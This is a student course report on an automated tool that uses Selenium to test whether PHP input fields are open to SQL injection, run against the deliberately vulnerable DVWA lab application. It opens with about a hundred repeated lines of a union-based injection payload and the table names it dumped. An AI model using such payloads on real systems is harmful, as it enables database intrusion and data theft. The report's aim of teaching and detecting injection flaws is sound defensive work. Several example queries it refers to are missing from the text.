ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: variables_by_thread

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary_by_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary_by_file_io_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary_by_stages
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary_by_statement_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: host_summary_by_statement_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: innodb_buffer_stats_by_schema

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: innodb_buffer_stats_by_table

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: io_by_thread_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: io_global_by_file_by_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: io_global_by_file_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: io_global_by_wait_by_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: io_global_by_wait_by_latency
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: latest_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_by_host_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_by_thread_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_by_user_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_global_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: memory_global_total

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: metrics

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: ps_check_lost_instrumentation

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_auto_increment_columns
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_index_statistics

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_object_overview

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_redundant_indexes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_table_lock_waits

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_table_statistics

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_table_statistics_with_buffer

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_tables_with_full_table_scans

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: schema_unused_indexes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: session
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: session_ssl_status

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statement_analysis

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statements_with_errors_or_warnings

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statements_with_full_table_scans

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statements_with_runtimes_in_95th_percentile

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statements_with_sorting

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: statements_with_temp_tables

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: sys_config

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary_by_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary_by_file_io_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary_by_stages

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary_by_statement_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: user_summary_by_statement_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: version

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: wait_classes_global_by_avg_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: wait_classes_global_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: waits_by_host_by_latency
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: waits_by_user_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: waits_global_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary_by_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary_by_file_io_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary_by_stages

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary_by_statement_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$host_summary_by_statement_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$innodb_buffer_stats_by_schema
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$innodb_buffer_stats_by_table

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$innodb_lock_waits

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$io_by_thread_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$io_global_by_file_by_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$io_global_by_file_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$io_global_by_wait_by_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$io_global_by_wait_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$latest_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$memory_by_host_by_current_bytes
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$memory_by_thread_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$memory_by_user_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$memory_global_by_current_bytes

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$memory_global_total

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$processlist

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$ps_digest_95th_percentile_by_avg_us

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$ps_digest_avg_latency_distribution

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$ps_schema_table_statistics_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_flattened_keys
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_index_statistics

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_table_lock_waits

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_table_statistics

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_table_statistics_with_buffer

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$schema_tables_with_full_table_scans

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$session

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statement_analysis

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statements_with_errors_or_warnings

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statements_with_full_table_scans
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statements_with_runtimes_in_95th_percentile

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statements_with_sorting

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$statements_with_temp_tables

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary_by_file_io

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary_by_file_io_type

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary_by_stages

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary_by_statement_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$user_summary_by_statement_type
ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$wait_classes_global_by_avg_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$wait_classes_global_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$waits_by_host_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$waits_by_user_by_latency

ID: %' and 1=0 union select null, table_name from information_schema.tables #

First name:

Surname: x$waits_global_by_latency

10 % and 1=0 union select null, table_null from information_schema, tables_name like ‘user
%’ #

Contents
1 Introduction
2 Problem
2.1 SQL Injections
2.1.1 Example
2.2 Most Common SQL Injection Techniques
2.3 Available SQL Injection Prevention Methods
2.3.1 Built-in Function
2.3.2 Parameterized Queries
3 Solving the Problem
3.1 Finding a Vulnerable Website
3.2 Description of Tool
3.2.1 PHP file parser
3.2.2 Injection simulator with Selenium
3.2.3 Feedback to developer
4 Evaluation of Tool
4.1 Does it work well?
4.2 Future work
5 Github Repository

1 Introduction
The purpose of this report is to present the project that was carried out for
the CS453 Automated Software Testing course. The aim of the project was to
develop or implement an automated software testing tool which solves a problem
that exists within software development and testing. This report will cover the
problem that we aim to solve and discuss why it is a problem in the first place.
Following that, the automated testing tool that was developed will be described
in detail. The report ends with a section that covers the evaluation of the tool
and how well it works.

2 Problem
The problem that was chosen for this project was about making software developers aware of
if there are any vulnerable text input fields in their web applicant that could be susceptible to
SQL injections. By making a developer aware
of any vulnerable input fields, the intention was that the developer should be
able to use the output from the testing tool to re-write their code to
become safer as to avoid SQL injections.

2.1 SQL Injections

SQL is the abbreviation of Structured Query Language and is used when handling a
connection to a database and retrieving, altering, deleting, or adding any
information to the database. A so-called SQL injection is when someone with
bad intentions try to access data from the database. The main entry point for
SQL injections is a text field on a web application (or other application) were
the user can enter anything that they wish. To simplify this, let us consider the
following example.

2.1.1 Example
Imagine you have written a web application for a library system. To access
the library, you must have an account that you log onto using a username
and password. To keep track of this information together with which user has
borrowed which books and other relevant information, you enter the data into
a database that you access via SQL queries. On your web application, you’ve
added a text search field so that the user can search for authors or titles of
books. The information that the user enters the text input field is then
processed to look through the tables in the database after a book title that
matches it or an author’s name that matches it. In other words, the input from
the user is used in the query to be able to retrieve the relevant information.
2.2 Most Common SQL Injection Techniques
As mentioned in the example above, one of the common injection techniques is to write an
”OR 1=1” clause in the input field to get access to the database. However, this is not always
as easy as just writing” OR 1=1” and be done with it. In most cases, the attacker would have
to try a few different variation of this before getting a correct statement that is able to run (if
there is no mean of prevention or the prevention method is done improperly). For example,
the query that were to be run would look like this:

In this case, the attacker would have to pay extra attention to the single quotes
that are used in order to produce a syntactically correct query in the end. For an
attacker to beat this vulnerable input field, they would have to use the following
input to make the query vulnerable:

The resulting query to be run would look like this:

2.3 Available SQL Injection Prevention Methods

Since most developers are aware of the possibility of SQL injections, there are
several ways in which to protect text input fields from being vulnerable. As
will be described in the next section of this report, the tool that was built was
analysing a web application that was written in PHP. For that reason, the report
will cover the prevention methods available in PHP. There are two methods that
are used for protecting input fields against SQL injections when writing code in
PHP. These methods are described in the two following subsections.

2.3.1 Built-in Function

In PHP, there is a built-in function called mysqli real escape string () that
takes an input string as an argument and outputs a ”safe” version of the same
string. What this function does is that it prepends a backslash in front of all
so-called special characters. These special characters include but are not limited to single
quotes, double quotes and new-line symbols. When appending a
backslash before symbols as these, the attacker will not be able to penetrate
the database because the potential single quotes that they use (as described in
section 2.2) will not be processed as” SQL single quotes,” but will be processed
as a string instead, which makes it impossible to access the database.

However, just because a developer uses this method of protection it does not
mean that their databases are completely safe. The reason behind this is that
there are certain weaknesses when it comes to the use of mysqli real escape string()
that the developer has to know about in order to be able to protect their web
application in a proper way. When using mysqli real escape string(), the developer has to
make sure that they add single quotes in their string query
between the user’s input [2], like this:
When using it like this, the resulting query that is run would look like this:

3 Solving the Problem

3.1 Finding a Vulnerable Website
The website we found vulnerable is Damn Vulnerable Web Application (DVWA).
The main goal of this PHP/MySQL web application is to help security education in a legal
environment. That’s why we could develop our tool based on
this application. This website has different levels of difficulty to hack. ’Low’,
’Medium’ and ’Impossible’ level corresponds to each prevention type that we
pre-defined. The prevention type would be Type 0 for the low level, Type 1 for
the medium level, and Type 2 for the impossible level.
Also, we modified the source code of this application little. One reason was
that we should remove and update functions which were deprecated in PHP
7. Also, we modified Medium-level source code slightly to make the input field
as text field. It was selection input which needs additional application to be
hacked before modifying.
3.2 Description of Tool
3.2.1 PHP file parser
When running the tool, first, the user is required to set up the necessary environments. These
steps are described in the repository link in section 5. When
running the necessary file, the user is required to input the path to the PHP
source file which contains the query with actual connection to the database.
The PHP file parser’ fileParser.php’ located under tool/ determines potential prevention type
by reading each line of the PHP source file and finding” real escape string”,” prepare” or” bind
param.” This process is implemented from line 20 to line 28 in figure 1.

Also, extracting information from SQL query like table name and the number of parameters
is implemented. When reading each line, we try to find
SQL query in line 17 in the figure. If we succeed to find, get table name()
and get param nums() functions extract the information from that line, as described in figure
2. These variables will be later used during the actual injection
to build the injection string.
3.2.2 Injection simulator with Selenium
To inject the website, the tool use Selenium to automate the injection
process on the Chrome web browser. The Selenium webdriver accepts commands written in
Python, and send them to a browser, making it possible to
automate the testing process instead of manually typing in injections in text
fields.
The commands send to the browser are as follow:
1. Go to the injection site: http://localhost/dvwa/vulnerabilities/sqli/
2. Login to the DVWA website using predefined username and password
(correspondingly” admin” and” password”)
3. Based on the user input which contains a path to the PHP source file, the
level of difficulty will be determined
4. Go to the injection site with text input field with the chosen difficulty
level
5. Inject the set of injection strings and gather results on number of successful
injections
6. When done injecting, close browser and display results

4 Evaluation of Tool
4.1 Does it work well?
When we ran tests automatically through Selenium, we were able to get expected
outputs. Here, expected output means the number of successful injections depending on
prevention type. For example, for Type 0, the user should get “3
out of 4 were successful”. Here 3 is the number of all possible injection that
we defined for Type 0 succeeded. For improper use of Type 1, all injections for
Type 1 should succeed, while they should not for proper use of type1. For Type
2, none of these should fail.
We could get these expected outputs, which means that our tool works well. For
example, after executing the tool for the DVWA with low, medium, impossible
difficulty by typing file name ’low.php’,’medium.php’ and ’impossible.php’ as
console input(here, for convenience to debug, we positioned these files in the
same folder with python files), user gets messages like figure 3,4 and 5.
Plus, one of the benefits which our tool brought is that based on the result we
could give different feedback like ”You were not using any mean of protection.”
4.2 Future work
Our tool works, but only for the DVWA for now. In the future, we should
generalize some processes to make the tool available to handle general vulnerable
website. First, we should remove possibly unnecessary log-in process or modify
possibly different log-in process. Second, we should remove changing-level-of difficulty
process which is unnecessary because the level of difficulty exists only
in DVWA for educational purpose. Third, we should generalize finding-inputfield process.
For now, we assumed there is only one prevention type in one
file when implementing the file parser. We will be able to fix this by adding
iterations. Lastly, now we pre-define several further possible injections to check
further hacking to crack important data from database like this:

But this should contain more. For example, in the code, we did not yet predefine this for
improper Type 1.
5 GitHub Repository
GitHub repository contains the code and installation guide:
https://github.com/taphan/ast-project
Link to demo: https://youtu.be/PM99MOUfpk4